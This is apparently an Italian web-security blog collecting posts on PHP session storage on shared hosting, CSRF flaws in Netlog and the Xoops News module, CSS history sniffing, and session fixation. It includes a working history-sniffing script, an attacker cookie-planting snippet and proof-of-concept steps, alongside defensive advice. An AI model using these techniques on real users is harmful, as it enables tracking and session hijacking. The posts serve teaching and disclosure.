Session Storage: sicurezza delle applicazioni php ed insicurezze degli hosting condivisi

Php salva i dati relativi alle sessioni tramite la serializzazione, ovvero l’array $_SESSION viene linearizzato e salvato in un supporto come un file o un record di un database.

session storage

Il comportamento di questa caratteristica di php può essere controllato da due variabili di configurazione di php:

Session.save_handler: indica a php come viene salvata la sessione e in quale supporto, il valore di default è file (quindi php out of the box scrive i dati di sessione su un file) mentre gli altri valori possibili son user, mm e sqlite.

Session.save_path: indica la directory in cui le sessioni saranno salvate e mantenute. Il valore di default è /tmp (la mia installazione di xampp ad esempio salva in C:\xampp\tmp).

Al giorno d’oggi la maggior parte dei servizi di hosting forniscono un servizio di hosting condiviso, molto gettonato perchè abbassa di molto i costi sia per la gestione che per l’utente finale. Un setup del genere però, in cui diverse web application girano sullo stesso server in cui tutte le sessioni vengono salvate nella stessa directory porta degli enormi problemi di sicurezza, vediamo un esempio:

Un cliente del servizio di hosting ha due applicazioni web che girano sullo stesso server. Entrambe fanno uso di sessioni ma sono destinate ad utilizzi diversi; entrambe fanno uso di form per inserire dati nel sito ma la prima delle due applicazioni salva nella sessione anche l’input utente non filtrato, mentre la seconda mantiene in sessione soltanto dati filtrati.

Poiché le due applicazioni condividono lo spazio in cui vengono salvate le sessioni un possibile attacco consiste nel:

  1. Popolare la sessione della prima applicazione (che non filtra l’input) con dati creati ad hoc
  2. Modificare il cookie della sessione relativa all’applicazione 2 inserendo il session id dell’applicazione 1 (questa sessione contiene dati non filtrati)
  3. L’attaccante utilizza i dati non filtrati dell’applicazione 1 per danneggiare l’applicazione 2.

Altro scenario ancora più pericoloso riguarda la condivisione di spazio di salvataggio delle sessioni e dell’implementazione dell’applicazione: capita spesso che i servizi di hosting php mettano a disposizione alcuni CMS per facilitare l’avvio di un sito web, ecco quali sono i rischi:

  1. L’attaccante è un utente dell’applicazione 1 con certi privilegi, magari è un editor o un moderatore. In particolare l’applicazione 1 si apoggia su un CMS.
  2. L’applicazione 2 condivide la directory di salvataggio delle sessioni (sempre lo stesso servizio di web hosting un pò farlocco) ma in più si appoggia allo stesso CMS dell’applicazione 1.
  3. L’attaccante logga nella applicazione 2 come utente senza privilegi, copia il session id dell’applicazione 1 nel cookie dell’applicazione 2 e si ritrova loggato con gli stessi privilegi che aveva nell’applicazione 1 (perchè le due applicazioni fanno uso dello stesso sistema di gestione dei ruoli).

Vediamo quindi che potenzialmente, se un servzio di hosting, ospitante un sito non protetto, non si occupasse di dividere le directory dedicate alle sessioni, i problemi di sicurezza del sito non protetto potrebbero ripercuotersi anche sugli altri.

Ne consegue che la precauzione necessaria al fine di evitare queste falle di sicurezza è la divisione delle directory di salvataggio delle sessioni in applicazioni, così che ogni applicazione avrà la propria directory, ad esempio:

/tmp/applicazione1

/tmp/applicazione2 ecc..

Se il servizio di hosting in cui ci appoggiamo non ha già pensato a modificare la variabile del php.ini possiamo provare ad aggiungere la seguente riga di codice nella nostra applicazione:

ini_set(‘session.save_path‘, ‘/tmp/nostra_app‘);

Incrociando le dita e sperando che la funzione ini_set non sia inibita dal servizio di hosting.

Un’altra soluzione è quella di aggiungere una variabile all’interno della nostra sessione che identifichi univocamente la nostra applicazione, ad esempio:

session_start();

if (!isset($_SESSION[‘application’]) || ((string)$_SESSION[‘application’] !== ‘application_1’)) {

session_regenerate_id();

$_SESSION = array(‘application’ => ‘application_1′);

}

In questo modo il cookie modificato dall’attaccante sarà diverso dai cookie della nostra applicazione e l’id di sessione viene rigenerato.

Un metodo forse ancora più efficiente per gestire il mantenimento delle sessioni nel web server consiste nell’implementazione manuale delle funzioni di session storaging tramite la funzione set_session_save_handler(): essa permette di definire quali funzioni si occupano delle diverse operazioni di gestione delle sessioni.

Annunci

Netlog vulnerabile a CSRF

Premetto che non mi assumo nessuna responsabilità per eventuali danni causati sul sito in questione.

In un mio precedente articolo, risalente a qualche mese fa, riportavo la suddetta vulnerabilità di questa (abbastanza) famosa piattaforma di social networking.
Ho inviato delle mail al support italiano, sono stato rimandato a quello europeo dai quali non ho mai più ricevuto alcuna risposta…. evidentemente non lo ritengono una minaccia.

Data Contatto: 11/07/2009 (senza ottenere risposta)
Pubblicazione:18/10/09
Tipologia:Cross Site Request Forgeries
Indirizzo: it.netlog.com

netlogEseguendo  nel browser la pagina creata ad hoc (ecco un esempio) mentre è attiva una sessione in netlog,  la vittima si ritroverà tra i post del suo blog un nuovo articolo, il quale contenuto sarà a completa discrezione di chi esegue l’attacco. Non ho avuto tempo di provare ad inserire vettori XSS ma probabilmente ci sarà modo ,visto che non fixano il form nemmeno sotto segnalazione.

Questa vulnerabilità permette la auto-distribuzione dell’ attacco, poichè se il post forgiato  contenesse un link alla pagina di partenza da cui il post stesso è stato creato e se un altro utente vi cliccasse, esso si replicherebbe istantaneamente nel profilo di chi ha visitato la pagina infetta . La capacità di autodiffondersi unita ad una falla XSS rappresenterebbe una minaccia per gli utenti di Netlog.

Il file di prova che ho inserito in questo articolo è puramente a scopo informativo, scoraggio chiunque nell’effettuare un attacco verso il sito internet indicato.

Vulnerabilità modulo News v1.63 per Xoops

Vulnerabilità Modulo News per Xoops

Vulnerabilità Xoops modulo news

Il modulo news (La versione più aggiornata è la 1.63) per la gestione dei contenuti in Xoops è vulnerabile a XSS e CSRF.

Il modulo news, mette a disposizione un form per l’invio di nuovi post e di nuovi topic di sezione; sono entrambi vulnerabili a CSRF in quanto non protetti da alcun token di sessione.

Inoltre, il modulo news non effettua nessun escaping con l’editor DHTML ed è possibile inserire tag html, compreso <script>, <link> ecc.., quindi è possibile fare in modo che venga postato del codice javascript ad insaputa dell’autore e questo ha miliardi di applicazioni. Impostare un editor diverso da DHTML non servirebbe a molto in quanto è possibile modificare il tipo di editor con una semplce richiesta cross site.

PoC

Scaricate ed installate l’ultima versione di Xoops e del suddetto modulo News

http://localhost/xoops-2.3.3/htdocs/modules/news/admin/index.php?op=newarticle è l’url che vi fa raggiungere direttamente il form in questione, vi basta copiare l’html del form e correggere il tag <textarea> che viene espresso come <textarea />, questo comporta che il restante codice html che includerete sarà interpretato come testo della <textarea>, mentre utilizzando <textarea></textarea> ciò non accade. Salvate il form che avete copiato , oppure prendete il mio e apritelo con il browser.

Sarete persino in grado di fare l’upload di un file che volete voi (sempre che sia tra i tipi MIME accettati dal server e da xoops).

Per metterci una pezza, installate il modulo protector, che trovate anche nel sito di xoops e magari provate qualche altro modulo per la gestione dei contenuti (se proprio non potete fare a meno di utilizzare xoops, che dopotutto è un buon cms)

Google, il caldo ed i video che tanto video non sono

Sarà il caldo, ma ultimamente google tende ad interpretare alcuni dei miei articoli su CSRF come se fossero dei video… strano perchè non ho inserito nessun filmato tantomeno tag diversi da img. Ma come potete vedere dall’immagine sottostante, Google è proprio convinto che i miei articoli siano dei video.

madgoogle1

googlemad2

Sarà il nuovo bug amico dei  SEO ? Chi vivrà vedrà.

Ecco il link al mio video, ops scusate, al mio articolo.

Css History Hack: discussione e prevenzione

histLa settimana scorsa è spuntato un post nel forum sla.ckers.org che ha attirato subito la mia attenzione. Vista l’impossibilità di accedere all’oggetto history per navigare tra i vari elementi della cronologia, si è pensato ad un metodo alternativo ma molto efficace per accedere ad essa.

Il funzionamento di base è molto semplice e si appoggia su di una funzionalità messa a disposizione dai browser di oggi attraverso i CSS: la specifica a:visited. Cerchiamo di capire meglio con un esempio:

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<html>
<head>
<title>Css history</title>
</head>
<body>
<script type=”text/javascript”>
var knownurls = [
http://www.google.it&#8217;, ‘http://www.myspace.com&#8217;,
http://www.yahoo.com&#8217;, ‘http://www.google.com&#8217;,
http://www.twitter.com&#8217;, ‘http://it.netlog.com&#8217;,
http://ha.ckers.org&#8217;, ‘http://seoblackhat.com&#8217;,
http://www.cgisecurity.com&#8217;,  , ‘http://www.facebook.com/home.php&#8217;
];
document.write( ‘<style type=”text/css”>a:link{color:#fff;}’ );
document.write( ‘a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}’ );
document.write( ‘{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>’ );
var output = ‘<h1>Urls riconosciuti</h1><ul>’;
var c = document.createElement(‘div’);
document.body.appendChild(c)
for(i in knownurls){
var anchor=document.createElement(‘a’);
anchor.href=knownurls[i];
anchor.innerHTML=knownurls[i];
c.appendChild(anchor)
if(anchor.offsetHeight==1){
output+='<li>’+knownurls[i]+'</li>’;
}
}
document.write(output+'</ul>’);
</script>
</body>
</html>

Questa porzione di codice funziona più o meno in questo modo: ho una lista di url, li stampo in una pagina html e sfrutto il selettore visited. Se l’url è stato visitato dalla vittima, la specifica visited fa si che a quello specifico url vengano assegnate delle caratteristiche (via CSS) che lo rendano riconoscibile ed infine lo inserisce nel testo della pagina html. In questo modo aprendo questa pagina con il browser vedremo una lista di url contenente soltanto indirizzi già visitati .

Naturalmente, per ottenere una lista cospicua di siti visitati è bene aggiungere molti elementi all’array knownurls, ad esempio cercando tra  i siti più visitati dagli utenti di alcuni social bookmarking come delicious e digg.

Il codice javascript che riconosce questi url può essere facilmente nascosto ed utilizzato per lanciare automaticamente attacchi di tipo CSRF, poichè c’è una buona probabilità che l’utente abbia una sessione attiva in uno dei siti precedentemente visitati.

Altro pericoloso utilizzo di questa tecnica permette all’attaccante di ottenere un token di sessione propagato via url (una tecnica di protezione piuttosto ambigua che discuterò in un prossimo articolo) .

Alcuni sviluppatori inseriscono un token di conferma per ogni richiesta nell’url, così da rifiutare ogni richiesta non attendibile. Questo implica una diminuzione del traffico indesiderato e delle richieste non autorizzate, ma d’altra parte espone il token di sessione che potrebbe essere salvato dalla cronologia. Quest’ultima, come abbiamo visto, risulta essere vulnerabile quindi ci ritroveremmo con i nostri token di sessione esposti a favore dell’attaccante.

Quest’ultimo, una volta compreso il formato del token, potrebbe  con un semplice script javascript generare migliaia di token in pochi secondi, con una buona probabilità di ottenere il nostro token di sessione e quindi  accedere a dati sensibili.

Ci tengo a ribadire il concetto che session id e tokens sono strumenti di sicurezza, ma anche essi vanno protetti adeguatamente. Perciò vi consiglio di NON propagare il token di sessione via url ma di farlo attraverso campi nascosti di un form e di rigenerarlo il più possibile.

Se siamo utenti, possiamo ricorrere all’estensione per firefox SafeHistory che ci protegge dal tipo di attacco oggetto di questo articolo.

Capire la Session Fixation

Proprio in questi giorni mi sto occupando della stesura di un testo abbastanza lungo su “Come proteggere le sessioni” in php, per la precisione, 2 minuti fa mi stavo dedicando proprio a quel testo, ma nel frattempo mi è arrivata un’ispirazione ed intendo seguirla scrivendo questo articolo.

In breve, ogni sessione che inizializiamo nelle applicazioni web viene riconosciuta tramite il session id: una stringa che ci lega univocamente ai dati della nostra attuale sessione nel server web. Solitamente questo session id viene propagato di comunicazione in comunicazione (browser/server) in 2 modi:

  • via URL
  • via COOKIE

Il primo dei due approcci è, secondo me, veramente sconsigliabile, in quanto espone al massimo il vostro id di sessione e potrebbe addirittura finire in qualche segnalibro o in qualche social network (la mia crociata è iniziata).Questo tipo di approccio può essere evitato impostando nel file php.ini, la variabile  session.use_trans_sid a 0. Il secondo non garantisce l’assoluta sicurezza, ma contribuisce ad aumentare la complessità della nostra identità online.

Il nostro Session Id potrebbe essere scovato in diversi modi:

  • potrebbe semplicemente essere individuato indovinando l’id giusto, magari dopo averne generati e provati parecchi
  • si potrebbe sfruttare una vulnerabilità del browser della vittima per inviarsi i suoi cookie
  • attraverso la cosiddetta Session Fixation

La session fixation consiste nel forzare la vittima ad utilizzare un id di sessione già noto, così da evitare di doverselo procurare. Un semplice esempio di session fixation può essere fatto utilizzando la esposizione di cui vi parlavo del session id via url:

La vittima riceve un link malevolo del tipo http://www.applicazioneNota.org?PHPSESSID=rr2339g9929f922nenoq123v9uu   così che la vittima sia forzata ad effettuare il login con quell’id di sessione associato.

Una volta loggata, la vittima inizializzerà i suoi dati di sessione , la quale è totalmente accessibile per l’attaccante che può così accedere ai dati sensibili della vittima. Ecco un esempio che non fa uso del SID via url, ma sfrutta la conoscenza del cookie giusto contenente il PHPSESSID

<?phpsession_name(“_crfl”);

session_start();

if (isset($_POST[“mySecret”]))

$_SESSION[“mySecret”] = $_POST[“mySecret”];

if (isset($_SESSION[“mySecret”]))

echo “<p>Il tuo <b>segreto</b> è: “.$_SESSION[“mySecret”].”</p>”;

else

echo “<p>Tu non hai alcun segreto con me</p>”;

echo “informazione di servizio:”.session_id();

?>

<form action=”” method=”post”>

<input type=”text” name=”mySecret” />

<input type=”submit”>

</form>

Ora munitevi di un plugin per firefox che vi mostri e vi permetta di modificare i cookie per poter testare a fondo questo metodo, ad esempio io utilizzo l’ottima estensione Web Developer

Salvate il listato sovrastante come fixation.php nel vostro server web e raggiungetelo con un browser (ad esempio firefox con l’estensione che vi ho linkato). Al primo accesso troverete il messaggio “tu non hai alcun segreto con me” e il vostro id di sessione

Ora aprite la stessa pagina con un diverso browser oppure da un altro pc (se possibile), alla prima visita con il diverso browser otterrete la stessa scritta, ma se proviamo a digitare qualcosa nel browser e inviamo il form, otterremo la scritta: Il tuo segreto è: <SEGRETO_SESSIONE2> con annesso il vostro id di sessione, diverso dal primo ottenuto con l’altro browser, copiate questo id.

Riprendete firefox e nel menu cookie, cliccate su visualizza cookie, una volta individuato il cookie che contiene l’id di sessione (nel nostro caso si chiama _clrf)  cliccate su modifica, come nell’immagine sottostante e inserite l’id che avete copiato dalla finestra del secondo browser.

CatturaA questo punto avete modificato il cookie di sessione della sessione1 , provate a fare Refresh ed otterrete la scritta:

Il tuo segreto è: <SEGRETO_SESSIONE2>

La vittima vedrebbe così perdere la propria identità.

Andiamo avanti con le possibili cause di perdita della propria identità a causa dei cookie

In php, per impostare un cookie, si usa la sintassi:

<?php

setcookie(“Nome_del_cookie”,“Valore”,$durata_del_cookie, “/”, “www.miosito.com” )

?>

dove i primi 3 argomenti si spiegano da soli, il quarto ci dice che il cookie varrà per tutto il dominio e l’ultimo parametro fornisce proprio il dominio.

Se la vittima visitasse il sito creato ad hoc dall’attaccante, contenente il codice:

<?php

setcookie(“PHPSESSID”,“ticonosco”,time()+3600, “/”, “www.unsitointernet.com” )

?>

e poi visitasse veramente http://www.unsitointernet.com si ritroverebbe con un cookie con il sesssion_id noto all’attaccante, una volta che la vittima abbia effettuato il login, l’attaccante potrebbe accedere alla sua sessione semplicemente replicando il suo SID

Vi risulterà quindi evidente, che il session id non basta per validare un utente, ma bisogna fornire dati di conferma, che saranno comunque replicabili, ma almeno renderanno il tutto più difficile ad esempio controllando di volta in volta lo USER AGENT, o meglio, un digest MD5 dello stesso, poichè difficilmente un utente nell’ambito di una sessione si metterà a cambiare user agent.

In definitiva però la cosa migliore da fare in questi casi è sfruttare la funzione session_regenerate_id():

essa non fa altro che sostituire l’attuale PHPSESSID con un id nuovo, così, ripetendo questa operazione ad ogni richiesta renderemo la sessione più difficile da agganciare.

Altra buona abitudine è quella di controllare che l’id di sessione sia stato generato dal server,così da avere la conferma che non provenga dall’esterno (ottimo contro l’ultimo tipo di attacco mostrato)

if (!isset($_SESSION[‘SERVER_GENERATED_SID’])) {

session_destroy(); // destroy all data in session

}

session_regenerate_id(); // generate a new session identifier

$_SESSION[‘SERVER_GENERATED_SID’] = true;

Netlog vulnerabile a CSRF

netlog

Proprio di recente mi sono rimesso sui libri, non quelli dell’università perchè quelli non li ho mai lasciati e non lascerò per parecchio tempo,  ma quelli che leggo di notte davanti al pc.

Ho ricominciato la mia serie di pubblicazioni proprio parlando di CSRF e facendo una piccola pausa, ho loggato in Netlog, un social di cui sono membro da ormai più di un anno.

In questo periodo,la mia installazione di firefox è praticamente inutilizzabile per navigare, a causa delle estensioni installate, ma spinto dall’abitudine , ho aperto nelog proprio con firefox  nel quale erano attive Firebug e Webdeveloper.

Dopo poco tempo sono venuto a capo della questione, scoprendo che quella sezione del sito è vulnerabile ad attacchi di tipo CSRF e poichè si tratta di un sito con tantissimi utenti, la faccenda sembra seria. :/

Non posso aggiungere altri dettagli finchè alla Netlog inc (xD) non avranno messo una toppa o finchè non sarà passato troppo tempo.